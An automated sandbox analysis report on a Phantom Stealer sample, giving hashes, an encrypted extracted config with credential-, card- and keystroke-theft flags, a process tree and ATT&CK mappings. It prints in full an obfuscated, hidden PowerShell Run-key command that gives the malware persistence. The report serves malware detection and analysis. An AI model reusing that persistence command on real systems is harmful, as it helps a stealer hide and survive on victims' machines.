phantom_stealer | a3c4caa69e343fc4f9d4cd12d62db2d8d35f492cab32eb3bd656217fbb5a2aeb

Analysis

max time kernel
149s
max time network
143s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260709-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
10/09/2026, 11:15

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General

Target
a3c4caa69e343fc4f9d4cd12d62db2d8d35f492cab32eb3bd656217fbb5a2aeb.exe
Size 2.6MB
Sample260910-ncv7essclh
SHA256 a3c4caa69e343fc4f9d4cd12d62db2d8d35f492cab32eb3bd656217fbb5a2aeb
MD5 9dec70452ff18da2864430e1ab25b645
SHA1 9be747385d6107419cd3dc743f0a20b511a0d9ea
SHA512 4499df08e9e1a852ec36bb26b160322bbaa9d168ef87c05c9d040de5d78d607236eec90dd4a16423ecac4da97c8ec92465fb96751497909a01c2e1778a6b6434
SSDEEP 49152:AzyefmftebuA4WFiS646OvSx+G8YMqv6pATIN4bOe/1XVXFTQwl:3efg47jiS646q+8YrbCcOeZV1
TLSH
T132D5231956238623FE6BFFB49D70D2F1E7354E2BB120F12959DC8CEA742B2816D00766
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

execution phantom_stealer persistence stealer

Malware Config

Extracted

Family

phantom_stealer

Version

v4.0.0

Credentials

Protocol
smtp
Host
CiEtqXAI6ia83CHdQ5WcfELCwSLFA2kH4ls60H154qtQAAAANtqpaSu+ei4rtYNuF3r88dqcNIHH4hHK11Fj3+jD0MRRt3Oy+QnzA02rJJ/XyGE0tAC1fhg386OS5pYQLFKWCgUtajGcUo+CgR8rAN2sykBGiS5sm9IX2yKRzmr8Z85A
Username
rSVV4rJj2OU6QPc48WJFmmh7ApkxhiD6AH3SPhgUrzVQAAAAWot5n3uz9slPVFjtK560cs5BbtX/S3G++gi19j7dDujuGxMO4SYpNfoZcLKgPEG47/jSAqndDXivnzHCWEI0oFAZEvDDckcel6KHhXpMeVc5R9gE5Gg34BjdmyvxvbUu
Password
xt9DYOW/TSOmujJlDYnZgkzZu6ACcK1VqLXR11zBjN9QAAAAPoKpfCymjizTepOuuavBjplAI3dOKeZ4RlYlPCSdy+oYhThSXsxxRFEdqNRnoE+CmwJGvvp8xiVwMBpYsX2SEg0EqQAE4szPDhieyahlRD1ViPC3pv7oxUFKdWIuGadd
Email to
O11tdpWvXxx7iXzgdD3A/Fthf+pHTI1/tx5Jm//iUeRQAAAAvWlU2gR30DYksDYv3lbbgyWvHnspkoeE6gaJXNgQd/ipP6Ub/mhHANsHdnwIzWAJWVVBCnVvcEmiW81LOWqIQGX/WuoR4j01g9YbqNaJJr/k+Ir+ZQvnxH3AObyyyf7qvFJT6KyB6d7aOamC9BhRoQ==

Credentials

Protocol
ftp
Host
0
Username
0
Password
0

Mutex

Q0BZWG7TWCOR74Y2OG6X

Wallets

Attributes

cookies
true
credit_cards
true
enable_ssl
true
keylogger
true
passwords
true
smtp_enabled
true

Signatures

Family: PhantomStealer
Phantom Stealer is a stealer written in C#, forked from the Stealerium family.
stealer phantom_stealer

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
380	powershell.exe

Executes dropped EXE 2 IoCs

pid	Process
1576	NPg.exe
556	NPg.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-552508041-2681165170-3229858294-1000\Software\Microsoft\Windows\CurrentVersion\Run\NPg = "\"C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\powershell.exe\" -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -Command \"$ps1q25=[System.Environment]::TickCount;$ugm5fm=([System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('U3RhcnQtUHJvY2Vzcw==')));$viaqdc=$env:COMPUTERNAME;$wq13sj=([System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('QzpcVXNlcnNcQWRtaW5cQXBwRGF0YVxSb2FtaW5nXE5QZy5leGU=')));$ps1q25=[System.Environment]::TickCount;& $ugm5fm -FilePath $wq13sj\""	a3c4caa69e343fc4f9d4cd12d62db2d8d35f492cab32eb3bd656217fbb5a2aeb.exe

Suspicious use of SetThreadContext 2 IoCs

description	pid	Process	procid_target
PID 2560 set thread context of 1220	2560	a3c4caa69e343fc4f9d4cd12d62db2d8d35f492cab32eb3bd656217fbb5a2aeb.exe	90
PID 1576 set thread context of 556	1576	NPg.exe	94

Suspicious behavior: EnumeratesProcesses 4 IoCs

pid	Process
2560	a3c4caa69e343fc4f9d4cd12d62db2d8d35f492cab32eb3bd656217fbb5a2aeb.exe
380	powershell.exe
380	powershell.exe
1576	NPg.exe

Suspicious use of AdjustPrivilegeToken 3 IoCs

description	pid	Process
Token: SeDebugPrivilege	2560	a3c4caa69e343fc4f9d4cd12d62db2d8d35f492cab32eb3bd656217fbb5a2aeb.exe
Token: SeDebugPrivilege	380	powershell.exe
Token: SeDebugPrivilege	1576	NPg.exe

Suspicious use of WriteProcessMemory 7 IoCs

description	pid	Process	procid_target
PID 2560 wrote to memory of 1220	2560	a3c4caa69e343fc4f9d4cd12d62db2d8d35f492cab32eb3bd656217fbb5a2aeb.exe	90
PID 2560 wrote to memory of 1220	2560	a3c4caa69e343fc4f9d4cd12d62db2d8d35f492cab32eb3bd656217fbb5a2aeb.exe	90
PID 2560 wrote to memory of 1220	2560	a3c4caa69e343fc4f9d4cd12d62db2d8d35f492cab32eb3bd656217fbb5a2aeb.exe	90
PID 380 wrote to memory of 1576	380	powershell.exe	93
PID 1576 wrote to memory of 556	1576	NPg.exe	94
PID 1576 wrote to memory of 556	1576	NPg.exe	94
PID 1576 wrote to memory of 556	1576	NPg.exe	94

C:\Users\Admin\AppData\Local\Temp\a3c4caa69e343fc4f9d4cd12d62db2d8d35f492cab32eb3bd656217fbb5a2aeb.exe
"C:\Users\Admin\AppData\Local\Temp\a3c4caa69e343fc4f9d4cd12d62db2d8d35f492cab32eb3bd656217fbb5a2aeb.exe"
1⤵
- Adds Run key to start application
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2560
- C:\Users\Admin\AppData\Local\Temp\a3c4caa69e343fc4f9d4cd12d62db2d8d35f492cab32eb3bd656217fbb5a2aeb.exe
  C:\Users\Admin\AppData\Local\Temp\a3c4caa69e343fc4f9d4cd12d62db2d8d35f492cab32eb3bd656217fbb5a2aeb.exe
  2⤵
  PID:1220

C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -Command "$ps1q25=[System.Environment]::TickCount;$ugm5fm=([System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('U3RhcnQtUHJvY2Vzcw==')));$viaqdc=$env:COMPUTERNAME;$wq13sj=([System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('QzpcVXNlcnNcQWRtaW5cQXBwRGF0YVxSb2FtaW5nXE5QZy5leGU=')));$ps1q25=[System.Environment]::TickCount;& $ugm5fm -FilePath $wq13sj"
1⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:380
- C:\Users\Admin\AppData\Roaming\NPg.exe
  "C:\Users\Admin\AppData\Roaming\NPg.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of SetThreadContext
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:1576
- - C:\Users\Admin\AppData\Roaming\NPg.exe
    C:\Users\Admin\AppData\Roaming\NPg.exe
    3⤵
    - Executes dropped EXE
    PID:556

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

NPg.exe

Path C:\Users\Admin\AppData\Roaming\NPg.exe
Size 2.6MB
SHA256 a3c4caa69e343fc4f9d4cd12d62db2d8d35f492cab32eb3bd656217fbb5a2aeb
MD5 9dec70452ff18da2864430e1ab25b645
SHA1 9be747385d6107419cd3dc743f0a20b511a0d9ea
SHA512 4499df08e9e1a852ec36bb26b160322bbaa9d168ef87c05c9d040de5d78d607236eec90dd4a16423ecac4da97c8ec92465fb96751497909a01c2e1778a6b6434
SSDEEP 49152:AzyefmftebuA4WFiS646OvSx+G8YMqv6pATIN4bOe/1XVXFTQwl:3efg47jiS646q+8YrbCcOeZV1
TLSH
T132D5231956238623FE6BFFB49D70D2F1E7354E2BB120F12959DC8CEA742B2816D00766
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

memory/380-20-0x00007FF9D7440000-0x00007FF9D7DE4000-memory.dmp

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memory/380-13-0x00007FF9D7440000-0x00007FF9D7DE4000-memory.dmp

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memory/380-27-0x00007FF9D7440000-0x00007FF9D7DE4000-memory.dmp

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memory/380-24-0x00007FF9D7440000-0x00007FF9D7DE4000-memory.dmp

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memory/380-23-0x00007FF9D7440000-0x00007FF9D7DE4000-memory.dmp

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memory/380-22-0x00007FF9D7440000-0x00007FF9D7DE4000-memory.dmp

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memory/380-12-0x00007FF9D7440000-0x00007FF9D7DE4000-memory.dmp

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memory/380-21-0x00007FF9D7440000-0x00007FF9D7DE4000-memory.dmp

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memory/380-18-0x00007FF9D7440000-0x00007FF9D7DE4000-memory.dmp

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memory/380-17-0x000001F7782E0000-0x000001F778302000-memory.dmp

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memory/380-16-0x00007FF9D7440000-0x00007FF9D7DE4000-memory.dmp

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memory/380-19-0x00007FF9D7440000-0x00007FF9D7DE4000-memory.dmp

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memory/1220-8-0x0000000140000000-0x00000001401D0000-memory.dmp

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memory/2560-7-0x00000257F0120000-0x00000257F038E000-memory.dmp

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memory/2560-2-0x00007FF9D7440000-0x00007FF9D7DE4000-memory.dmp

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memory/2560-10-0x00007FF9D7440000-0x00007FF9D7DE4000-memory.dmp

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memory/2560-9-0x00007FF9D7440000-0x00007FF9D7DE4000-memory.dmp

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memory/2560-11-0x00007FF9D7440000-0x00007FF9D7DE4000-memory.dmp

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memory/2560-0-0x00007FF9D75CF000-0x00007FF9D75D0000-memory.dmp

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memory/2560-6-0x00007FF9D7440000-0x00007FF9D7DE4000-memory.dmp

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memory/2560-5-0x00007FF9D7440000-0x00007FF9D7DE4000-memory.dmp

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memory/2560-4-0x00007FF9D7440000-0x00007FF9D7DE4000-memory.dmp

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memory/2560-1-0x00000257D4A60000-0x00000257D4D04000-memory.dmp

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memory/2560-3-0x00000257EF1F0000-0x00000257EF202000-memory.dmp

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